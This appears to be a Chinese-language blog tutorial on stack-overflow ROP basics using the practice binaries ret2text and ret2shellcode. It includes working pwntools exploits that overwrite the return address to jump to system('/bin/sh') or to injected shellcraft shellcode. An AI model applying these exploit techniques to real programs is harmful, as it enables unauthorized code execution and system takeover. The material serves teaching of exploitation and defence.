栈溢出攻击(2)-ROP基础(1)
文章目录
预备条件
ret2shellcode:http://www.hacksprit.top:8090/files/ret2shellcode
ret2text: http://www.hacksprit.top:8090/files/ret2text
关闭系统的ASLR
栈溢出
在这里对栈溢出进行了介绍。
ROP
学习过Java的人对*OP应该都有所了解,比如OOP(面向对象编程),比如AOP(面向切面编程)。那ROP是 什么那?又和栈攻击有什么关系那?
ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程,从而绕过NX保护机制。
之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件:
- 程序存在溢出,并且可以控制返回地址。
- 可以找到满足条件的 gadgets 以及相应 gadgets 的地址
ret2text程序
攻击目标
ret2text程序
简单fuzz
通过输入多个字符a进行fuzz,从下图中可以看出程序崩溃。由此推测程序存在漏洞。
查看保护机制
使用checksec ret2text
查看程序使用的保护机制,从图中可以看出NX是开启的,也就是无法直接执行栈里面的数据。
调试程序
使用Radare2(或者gdb)进行调试,本文使用Radare2进行调试。关于Radare2的介绍,可参考这里。
查看汇编代码
使用pdf @ main
通过汇编代码,大致可以写出相应的c代码,居然有一个高度危险的函数gets。由于gets函数不会对输入长度进行校验,那么当长度足够长的时候,就会覆盖到返回地址,然后,当程序返回之后,返回到一个无效的地址,由此就有了上面的程序崩溃。具体可参考这里。
int main(){
char *s;
setbuf(stdout,0,2,0)
setbuf(stdin,0,1,1)
puts("There is something amazing here, do you know anything?")
gets(s);
printf("Maybe I will tell you next time !")
return 0;
}
确定与返回地址的偏移
在gets函数之后下断点, 运行程序。
通过 v
查看栈、寄存器等信息
s与ebp的偏移0xffffcfc8 - 0xffffcf5c = 6ch = 6*16+12 = 108,再加上ebp的4个字节就是距离返回地址的偏移,也就是112。然后在返回地址处,填充一个地址,这个地址,指向获取系统shell的代码。,这就是ROP。
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
ebp | old ebp |
+-----------------+
| ... |
+-----------------+
ebp-112| 变量s地址 |
Low | |
Address
寻找获取系统shell的代码
通过pdf @ sym.secure
查看汇编代码 ,可以看出有system("/bin/sh")这段代码,于是可以这里的代码。
获取shell
##!/usr/bin/env python
from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()
运行,结果如下,通过这个shell可以查看进程,用户等信息。
ret2shellcode
攻击目标
ret2shellcode程序
简单fuzz
查看保护机制
NX未开启
调试程序
通过分析程序,写出c代码,很明显,依然存在由gets函数引起的栈溢出漏洞。但是多了strncpy内存复制函数,那么如果buf2中的内存是可执行的,写入一段shellcode,然后再跳转到buf2出,就可以控制程序的执行了,同样这也是ROP。
int main(){
char *s;
setbuf(stdout,0,2,0)
setbuf(stdin,0,1,1)
puts("No system for you this time !!!")
gets(s);
strncpy(buf2,s,0x64)
printf("bye bye ~")
return 0;
}
buf2处的内存能否执行,通过dm
查看Memory Map的权限,由于0x804a080在第二行的范围内,因此具有可执行的权限。
确定与返回地址的偏移
和上面的方法类似。
获取shell
python ljust
Python ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串
#!/usr/bin/python
str = "this is string example....wow!!!";
print str.ljust(50, '0');
运行结果,总长度是50,不是填充的字符长度是50。
this is string example…wow!!!000000000000000000
shellcode
使用的模块
- asm : 汇编与反汇编,支持x86/x64/arm/mips/powerpc等基本上所有的主流平台
- shellcraft : shellcode的生成器
获取shell的payload
结合asm可以可以得到最终的pyaload。
from pwn import *
context(os='linux',arch='amd64')
shellcode = asm(shellcraft.sh())
或者
from pwn import *
shellcode = asm(shellcraft.amd64.linux.sh())
除了直接执行sh之外,还可以进行其它的一些常用操作例如提权、反向连接等等。
exploit
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
x = len(shellcode.ljust(112, 'A'))
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
运行程序,成功获取shell,可以查看进程等信息。
公众号
更多二进制安全内容,欢迎关注我的公众号:无情剑客。